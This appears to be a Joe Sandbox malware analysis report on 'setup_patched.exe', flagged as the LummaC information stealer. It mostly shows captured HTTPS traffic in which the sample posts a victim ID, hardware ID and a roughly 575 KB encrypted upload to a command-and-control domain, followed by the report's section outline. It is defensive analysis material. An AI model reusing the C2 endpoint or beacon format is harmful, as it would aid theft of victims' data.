2025-04-13 15:10:37 UTC	280	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QCnOOp4Urp5hr User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 5447 Host: bxattlepath.digital
2025-04-13 15:10:37 UTC	5447	OUT	Data Raw: 2d 2d 51 43 6e 4f 4f 70 34 55 72 70 35 68 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 51 43 6e 4f 4f 70 34 55 72 70 35 68 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 43 6e 4f 4f 70 34 55 72 70 35 68 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 37 46 30 43 45 35 32 37 39 43 38 45 Data Ascii: --QCnOOp4Urp5hrContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--QCnOOp4Urp5hrContent-Disposition: form-data; name="pid"1--QCnOOp4Urp5hrContent-Disposition: form-data; name="hwid"117F0CE5279C8E
2025-04-13 15:10:37 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nDflhFfZAwVq9SMYKz7oiKkfud13R3FZ8UjQhlNxhfsd3ValihTn%2BgtkmTuznj%2Bt6RttnB737OBgL1mLTR7w1UomJn%2Bjw3F1ByZwduYA6POsYbQZWfqAjwYv0oK06Qf8cU9mXrc4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe42cfe294d9a-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113488&min_rtt=113072&rtt_var=24478&sent=7&recv=12&lost=0&retrans=0&sent_bytes=2845&recv_bytes=6363&delivery_rate=35316&cwnd=252&unsent_bytes=0&cid=01058193bded56cc&ts=453&x=0"
2025-04-13 15:10:37 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 15:10:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49700	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:38 UTC	284	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=nQ860KAtzGMIxpQWQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2397 Host: bxattlepath.digital
2025-04-13 15:10:38 UTC	2397	OUT	Data Raw: 2d 2d 6e 51 38 36 30 4b 41 74 7a 47 4d 49 78 70 51 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 6e 51 38 36 30 4b 41 74 7a 47 4d 49 78 70 51 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 6e 51 38 36 30 4b 41 74 7a 47 4d 49 78 70 51 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 Data Ascii: --nQ860KAtzGMIxpQWQContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--nQ860KAtzGMIxpQWQContent-Disposition: form-data; name="pid"1--nQ860KAtzGMIxpQWQContent-Disposition: form-data; name="hwid"11
2025-04-13 15:10:38 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:38 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iq3K7XkN4NIjS5cKftufRO%2BU4T8HoYV2i21TsliIwjVV2i%2BTmmNJyUeZyYee1EyNfPQPLvQrxKkqGb8sNJX8oXDIyQ1S4zJpcr6VRm1qikd4Sfh%2FAGA%2B7I4js3SJq16BIW7kxwkk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe432f8214d9a-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=114280&min_rtt=113692&rtt_var=24884&sent=7&recv=10&lost=0&retrans=0&sent_bytes=2846&recv_bytes=3317&delivery_rate=34939&cwnd=252&unsent_bytes=0&cid=7c4a26f585e7856e&ts=446&x=0"
2025-04-13 15:10:38 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 15:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49701	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:39 UTC	288	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MO2KvhjKfAxGCYKrdfj User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 575880 Host: bxattlepath.digital
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 2d 2d 4d 4f 32 4b 76 68 6a 4b 66 41 78 47 43 59 4b 72 64 66 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 4d 4f 32 4b 76 68 6a 4b 66 41 78 47 43 59 4b 72 64 66 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 4f 32 4b 76 68 6a 4b 66 41 78 47 43 59 4b 72 64 66 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 Data Ascii: --MO2KvhjKfAxGCYKrdfjContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--MO2KvhjKfAxGCYKrdfjContent-Disposition: form-data; name="pid"1--MO2KvhjKfAxGCYKrdfjContent-Disposition: form-data; name="hwid"
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 11 5a cd 4b 74 dc b2 6d 01 57 52 1a 3f 43 44 fb b2 a3 c7 0d 93 fc 1a f2 f0 f8 eb 45 20 70 c3 c7 f7 fc f0 39 37 7e 05 13 ba c4 ad 56 b5 41 5f 21 05 f9 38 ef 65 43 82 98 1b 97 38 15 b8 eb 67 67 1f e8 08 fc 8e ec 79 7c 78 36 1e d5 86 b7 7c 0b 4d 2c 61 f1 33 bd 8c fa c1 5f b5 de 60 a0 54 c4 9c 46 e2 5d fc 16 55 78 77 af 65 c0 d1 a1 13 f4 99 d5 5f dc 07 a6 de 99 b8 09 ee fb a5 f6 ba b4 75 42 84 53 24 4b 32 a6 1b 11 45 05 97 2a 1b 7f 73 0a c9 5e 5f a3 a3 23 62 6c 2e b8 4a aa 98 f8 ab 5c a8 66 7e 16 30 a4 17 3d 61 b2 b4 4a 55 e6 a9 4e ca 4c 66 31 12 27 2c fe 22 00 34 92 63 28 13 65 73 fe 3c 4f 18 b6 12 ca 25 ab d6 b8 28 0a 8f 39 42 1a 18 19 60 54 cc f7 b8 99 c5 9d 1e c8 47 22 3c 4b 34 e4 8b fb 93 4e 8e 41 f9 a8 13 8f 6a 7d 30 b9 d7 24 42 24 21 2c bd de 4f 17 38 Data Ascii: ZKtmWR?CDE p97~VA_!8eC8ggy\|x6\|M,a3_`TF]Uxwe_uBS$K2E*s^_#bl.J\f~0=aJUNLf1',"4c(es<O%(9B`TG"<K4NAj}0$B$!,O8
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 30 7b 59 17 34 60 57 cb 6e 76 90 30 d2 ec 14 e6 6c e4 d5 e0 ae 01 e5 b0 f6 24 13 2d b8 5f e0 aa 56 08 fa ee a9 0e 1f 01 0b bb 4a 7c fd 31 ce b7 16 27 bf 38 8a 7e 5d 6d b1 52 70 c0 6d 33 4c e1 5d 3a d7 65 07 a2 3f 7f 3d 51 71 c7 fa be 33 90 00 53 0b 55 03 12 27 f1 40 6e 36 75 f6 35 6c 91 a8 17 40 6b 73 3c e4 80 52 b6 23 bf 9d 42 66 43 3a fb 6c 19 18 d4 f2 06 15 a4 a3 70 a5 ad 2a b0 a5 4b 0d 00 ca 6a 29 55 fd 6b 0d 73 6e 5b 95 3e bc fa a3 7d f2 77 f1 be 4f 1c 0c 44 da 0e 32 22 21 03 91 f1 42 ab 6d ba 79 a7 89 6e 66 6f 21 e9 9b f4 5e ec bf 43 76 a3 ae a6 a7 ad 87 73 d9 31 d8 cf ed 1d bb 4d 2e 7d b7 be f7 85 4d 52 9c 0d 73 1c 17 95 42 94 51 39 30 f7 96 f5 34 b8 9d d2 73 0d 7e 3d 88 09 38 a3 57 d7 7a d3 53 3d 44 96 ce 53 20 de 03 f9 34 3e 6e 37 5b dd b3 1f 33 Data Ascii: 0{Y4`Wnv0l$-_VJ\|1'8~]mRpm3L]:e?=Qq3SU'@n6u5l@ks<R#BfC:lp*Kj)Uksn[>}wOD2"!Bmynfo!^Cvs1M.}MRsBQ904s~=8WzS=DS 4>n7[3
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: c0 f5 f7 69 72 01 20 f3 33 9c 34 09 14 47 ae 2c c1 d7 6f 41 a1 9c c8 bb 4f 43 1f c4 98 1a 81 7c bd 35 5a 8c a7 d3 f4 9d 2c f5 0d 21 1d 1b 37 6a 4e e2 e9 86 fc b0 ea d6 b6 e3 64 ee c0 db 83 ae 21 0f 37 3c f8 08 f0 21 f1 6d 54 11 36 76 e5 e0 e7 06 7c ee 3d 76 e0 f8 56 86 7c d0 7c e9 f5 d1 92 0f a0 db ce de 84 9d 91 2e 05 cd c0 8a 36 d3 f9 d8 23 99 a7 1b 4b 3c 13 90 1e fc a3 47 42 af 9d 9c d2 0f f9 b6 a6 c4 68 93 cf a0 87 ff 1a 53 61 3b ac 7c 87 a6 fe 9f 7c 5c 0c 29 6c f0 05 b5 d0 f6 cd 08 ab 27 9f d8 1c 82 08 e3 11 d7 a5 0b 7a 10 e1 b9 a6 9f a3 10 41 75 2e ce c1 a8 5e 37 4b fa 32 8f 7f 86 31 d1 74 06 7f 4a 33 08 7e f4 00 2f c5 16 70 55 b7 6f fe af 0b 64 ab ad 54 38 c9 9d 0b d8 db f7 eb 75 33 88 ab 18 0d fb 2e 42 6e d6 3f f4 0e 06 be 63 e5 f4 0c 3e 59 08 74 Data Ascii: ir 34G,oAOC\|5Z,!7jNd!7<!mT6v\|=vV\|\|.6#K<GBhSa;\|\|\)l'zAu.^7K21tJ3~/pUodT8u3.Bn?c>Yt
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 2a 9e 48 b2 21 62 b2 e5 c9 5f 9b 8a fd fa a9 db 6c 93 a3 4a 55 f2 ef c2 ee 41 0c 83 6d e8 09 29 01 dc 68 77 3b 7e 2f b1 47 f8 c6 3b 7d 01 3b ec 50 a1 9f 8e d1 fd 10 a2 b7 e3 fb 78 7e 70 2b d3 66 a0 ad fb 48 3d 37 e0 c8 a0 ee 91 ec c8 33 ec f8 96 b4 f8 dc 13 e2 b2 87 4f 16 0d 41 33 44 b6 57 5e 27 a8 32 b7 8c 52 a6 17 e6 ec 8c ec 75 7a 12 ba 12 e9 2d 0d 37 94 2c be ac 05 b8 35 73 f9 bc 70 b9 2a 98 e3 3d 73 15 ff e2 5a bf ce 65 99 69 40 9f 3a 6e 19 0f 23 22 42 58 d4 18 d5 7e 84 d6 85 71 29 91 2e 85 6a f1 38 27 4b d4 a0 08 0b 2b de d0 e5 ad 9a 34 a1 f6 01 58 78 8f b5 2d 69 3f 02 c0 0d 97 b7 7f f5 2f e2 5b e2 34 2f 0f 66 f0 ee 78 f8 76 43 70 b8 44 57 f6 92 88 aa 73 b4 e2 98 09 4f 1b 3a 06 7e 53 9d 03 45 8a 15 6e 88 fb b6 25 80 12 8d 16 33 ca 8b 0c 5b 36 5a 5b Data Ascii: H!b_lJUAm)hw;~/G;};Px~p+fH=73OA3DW^'2Ruz-7,5sp=sZei@:n#"BX~q).j8'K+4Xx-i?/[4/fxvCpDWsO:~SEn%3[6Z[
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: a9 e1 c0 02 98 ed 5b 87 f9 e6 51 8a 90 3c 8a a5 84 48 b3 da 1f 21 05 3a 33 63 55 4a dd 64 96 8d 36 9f c3 5a 43 6e 8d 7f 3e 15 dc 5a 11 4b db cd 5b 21 01 ce 67 fe c7 e9 d7 2c 34 f9 ba d9 84 29 d2 26 a3 c3 80 38 51 75 52 62 7e 94 2d 19 ab 60 e2 b0 50 18 7d fb c4 b4 d9 ca d9 a5 3b 81 00 ac 83 50 33 83 cd 33 ae dc 22 04 7a 99 a5 f7 7c d0 b2 f7 ed 2a 67 60 ec e6 f6 72 42 e6 df a7 5e b6 54 5c 64 24 1f 67 e7 52 16 45 7d 83 ea b4 44 51 b9 dc df c2 bf 6f bc da e5 44 bd ec ae 2d 09 f2 f2 f1 96 f8 f6 7c 89 72 14 78 4e 2f a0 2b 09 39 61 f3 83 4c 8c ad b4 2b 32 ab 84 14 fd 48 63 4a 7d d5 68 ca b4 e6 24 f9 0e 94 3d 9e f7 06 d1 76 7b 43 78 26 a7 b8 2f 89 7b 16 21 dd 55 7e 3a 38 9b 9e ea 1e c6 fd 9c f9 71 fa c7 f2 bb d5 3a 5e 4a 40 3d 37 36 96 8f 06 fc ea 67 bc 70 13 02 Data Ascii: [Q<H!:3cUJd6ZCn>ZK[!g,4)&8QuRb~-`P};P33"z\|*g`rB^T\d$gRE}DQoD-\|rxN/+9aL+2HcJ}h$=v{Cx&/{!U~:8q:^J@=76gp
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: de 97 ae e7 f6 51 3b eb 62 0a d8 42 a5 22 c7 38 93 60 7d 9f b7 ef 78 29 cb 84 17 b8 93 5c 98 d8 7b c3 c4 d0 91 99 ec 75 77 38 39 67 68 4e 18 24 5f 1d e8 01 eb 27 65 a3 2d af 43 c1 c0 1f e1 86 dd 7e 31 28 8b d7 f0 8f ee 14 55 f0 57 b9 e3 d9 f9 cd 82 d5 65 3c c0 99 4c 06 90 f3 07 f6 56 33 b3 61 c1 88 65 fa c6 a2 56 3d ce b8 5f f7 2a 66 eb 6e 16 c0 ff 2b 7c 02 6e b5 b6 cc 17 13 d5 68 8a ba bb af bc 6d 99 66 ee d5 18 9c 73 a3 fb b8 a1 76 e0 22 3a e3 71 25 42 fa 29 03 23 08 01 79 77 19 b8 44 29 97 b2 f9 5d d4 e3 ae dd 60 00 f9 3d 67 a7 15 e6 03 39 8f 4a 9f 4a 95 9a 84 a4 c0 8f d7 76 3b 07 ff c2 c2 2e 5a 95 33 3b 8a 6f 2f 5f ed 9e 66 ae 4a 1a 93 16 ef a6 85 6d 01 a8 2f c1 09 b5 0e 79 9a c1 a0 d8 9c 20 4f 23 50 a9 0e 78 1d ad be 34 5a 36 af 99 e6 d0 db 4d 09 02 Data Ascii: Q;bB"8`}x)\{uw89ghN$_'e-C~1(UWe<LV3aeV=_*fn+\|nhmfsv":q%B)#ywD)]`=g9JJv;.Z3;o/_fJm/y O#Px4Z6M
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 89 4c fc 6d b5 4f 9d a0 16 5c d5 c1 2f c4 69 ac c0 ed 84 ad a8 ac f0 30 68 6f 93 41 bf 2f dd c9 13 bc 6e b8 77 cb 07 79 ff 09 fa 28 ef 22 0c b4 a6 9e 4a 46 0d a5 9b c3 e7 fe c1 fd a8 0a 28 33 89 ea 9d 61 df 59 2e 68 40 96 ce 69 89 ef 6c 1e b2 9d c7 df bc 2f df d5 7c 10 28 e9 8a 28 79 54 d5 27 e4 4d 72 a7 a2 9e d7 22 d3 a6 be e8 a4 d5 7a 38 a3 f0 2f 3b 4f 03 33 1a 6f dc 2d 17 05 aa 40 f2 05 39 12 3c 34 75 74 03 07 bd e0 a9 a7 c1 8b 45 94 6d 90 5a e7 91 97 6a c4 ef 17 e6 66 11 4f 8a 3d 52 00 ff 89 d4 61 1a 0c 05 52 08 51 ce c6 27 f3 fa 73 04 43 f4 e6 00 da 9d 42 e1 ae c2 17 25 77 e9 86 29 8a 4d 00 14 7f b2 00 c1 86 30 a1 9c 6e a4 ba 91 01 35 4b 22 df f0 82 bf a4 10 ae 7a 6a 9b 26 0b 3b 03 2a ba 0a 2c d3 3d 03 f6 12 c8 a1 a2 a7 ff 73 af 4d 58 a4 0f 94 35 43 Data Ascii: LmO\/i0hoA/nwy("JF(3aY.h@il/\|((yT'Mr"z8/;O3o-@9<4utEmZjfO=RaRQ'sCB%w)M0n5K"zj&;*,=sMX5C
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 84 b4 5b 62 71 03 f7 30 1f e7 4f cd 9a ea ea a9 16 fb 7e e0 4e ee 41 ac 72 d2 7d db 3d 84 20 8e 09 b5 dc 74 84 bc 11 26 9c 93 6d 0d 87 b9 45 29 8e 82 88 c8 03 30 bc 92 13 0e ee 39 0f 49 23 1b 3c 8c 22 2c f0 06 57 08 1c b0 f1 eb df 40 3c 45 c1 95 cb 9f a2 83 ab 6e de d1 80 e9 fe 9f 20 be b4 1d 06 3d 9f b7 69 ed c1 77 a2 32 bc 3d 4e 36 aa 3f c5 e8 2e 56 1a 27 65 f0 87 8d 30 70 42 32 ec 7e 72 ed 04 14 c1 89 38 93 e9 ea ce bb 16 04 0a de 07 8e 69 c6 2d 96 c8 1a a9 1b 90 37 3e fa 00 66 10 64 50 cc 9f 73 f1 82 cd 37 b2 58 6f 51 5f 56 93 1c 7e 19 6c 52 6c 4d 39 95 dc f2 2c e9 3f b0 d3 1d 84 ca 63 45 e9 64 aa f4 54 d0 64 5c 38 3a eb e8 8e d2 a2 99 ba aa 60 2e 92 e2 85 fc f9 9c 36 aa be 3f f9 ab c0 3b 21 65 00 65 b5 ac ba 5b 34 38 6f 33 ed a6 e4 06 de d4 58 a6 86 Data Ascii: [bq0O~NAr}= t&mE)09I#<",W@<En =iw2=N6?.V'e0pB2~r8i-7>fdPs7XoQ_V~lRlM9,?cEdTd\8:`.6?;!ee[48o3X
2025-04-13 15:10:39 UTC	15331	OUT	Data Raw: 1d ec c4 bb 9c 8d 36 ab b6 95 c5 19 c8 20 de 31 10 21 2d c5 83 8a dc 10 01 58 93 82 a0 7a dc d6 39 a0 f1 05 f9 e3 36 d1 09 ae ba e5 d6 ef 0e a7 38 9e 17 a3 a3 42 3c 91 a1 2a 6f d5 4e d0 62 1e 40 e5 43 9c c3 4c 46 5e 4d 74 57 01 28 e6 e4 06 c0 4e c8 f9 40 52 ca 41 1b 50 05 c2 07 60 d8 d7 f4 1b 04 57 85 45 17 9c ac 78 5b 83 c9 8a 1c a1 cd 98 89 34 8e 51 c1 8c ac 80 86 9a e4 3d b6 cd 20 2d e8 b2 95 da 5c 55 35 6f 82 38 59 28 8d 19 6b ff c9 62 8e da a5 b5 d0 09 b4 54 9e 93 e2 1e 36 4e 2e 1b 5d 64 bd 67 1c ae 52 78 01 26 c1 bc 57 f7 6d ef e3 2c 2f bf 16 eb c5 e3 25 33 a5 b9 c4 e0 39 c2 05 bc ce f0 a1 c2 5c 4a 18 f8 25 33 21 4f 1e 95 2c bd a5 8e e3 2f 6e bb cd 66 23 69 53 22 30 51 05 0a 38 2d 39 51 67 e6 2d 33 12 39 1c 49 b6 0d de a6 4b 44 fd b3 9d 1a 3a 4f 9b Data Ascii: 6 1!-Xz968B<*oNb@CLF^MtW(N@RAP`WEx[4Q= -\U5o8Y(kbT6N.]dgRx&Wm,/%39\J%3!O,/nf#iS"0Q8-9Qg-39IKD:O
2025-04-13 15:10:41 UTC	822	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:41 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=issT48cvni8Utg%2FTGpJNCqVAcI4xxQ8dC0vV7G4W7vRQTSQ%2BfoBpptCfeASzXBB5zn0rjDMPQZB5euGyCGSuqgnI%2BMpgv1N72cyP7%2BTotW57eDQjyqBX%2FL9iR8%2BUfavi22QLeByO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe43a1f757bc6-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106310&min_rtt=106271&rtt_var=22460&sent=242&recv=437&lost=0&retrans=0&sent_bytes=2846&recv_bytes=578454&delivery_rate=37957&cwnd=252&unsent_bytes=0&cid=ba138a2e148820f7&ts=1786&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49702	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:41 UTC	269	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 125 Host: bxattlepath.digital
2025-04-13 15:10:41 UTC	125	OUT	Data Raw: 75 69 64 3d 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 31 31 37 46 30 43 45 35 32 37 39 43 38 45 31 30 41 43 35 44 35 32 31 36 42 32 30 35 32 43 33 39 Data Ascii: uid=6795475de230e1f7744834327a6b4916e6e6b00aa86d4c&cid=637b55279021aab33278188cfa638397&hwid=117F0CE5279C8E10AC5D5216B2052C39
2025-04-13 15:10:42 UTC	785	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:42 GMT Content-Type: application/octet-stream Content-Length: 108 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWOdW%2BvzDhghdC22lHQpsT8MGiRFC6gmQIY2HBZj2m34oITxbD7RTHaOMq5S946Q48mkh7DQutrZNgI1QqD7QJb%2Bz48Yx6zQm4oUxUNG05VBKwCAnYRt3r8MYBfwEpUrZy3NoCjm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe4481b009ae2-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=112970&min_rtt=112743&rtt_var=24154&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1030&delivery_rate=35547&cwnd=252&unsent_bytes=0&cid=15c5a32e98d15e0d&ts=503&x=0"
2025-04-13 15:10:42 UTC	108	IN	Data Raw: c8 84 86 43 ae 8d 0d a2 64 fc bd a7 69 e2 6b fa ac ce 2c 8a 2b 23 94 1b 71 1b 7d b7 0d 73 cf c6 b2 1c 15 ab 3e 13 47 77 7a af 4f 80 19 19 64 fe 44 71 87 c4 9d 02 ee 65 a6 9d 89 ed b6 63 cd d7 ef 9c 76 94 30 50 36 b8 24 84 54 21 b1 10 32 d9 13 b3 57 2a 05 b7 24 d8 cd 84 e1 69 0d a9 1d 63 73 13 d8 11 86 d1 f8 fa 3f be 8a f9 Data Ascii: Cdik,+#q}s>GwzOdDqecv0P6$T!2W*$ics?

Target ID:	0
Start time:	11:10:12
Start date:	13/04/2025
Path:	C:\Users\user\Desktop\setup_patched.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup_patched.exe"
Imagebase:	0x400000
File size:	1'085'440 bytes
MD5 hash:	793E23C2663F78FE14E253CD2ABE1753
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup_patched.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
setup_patched.exe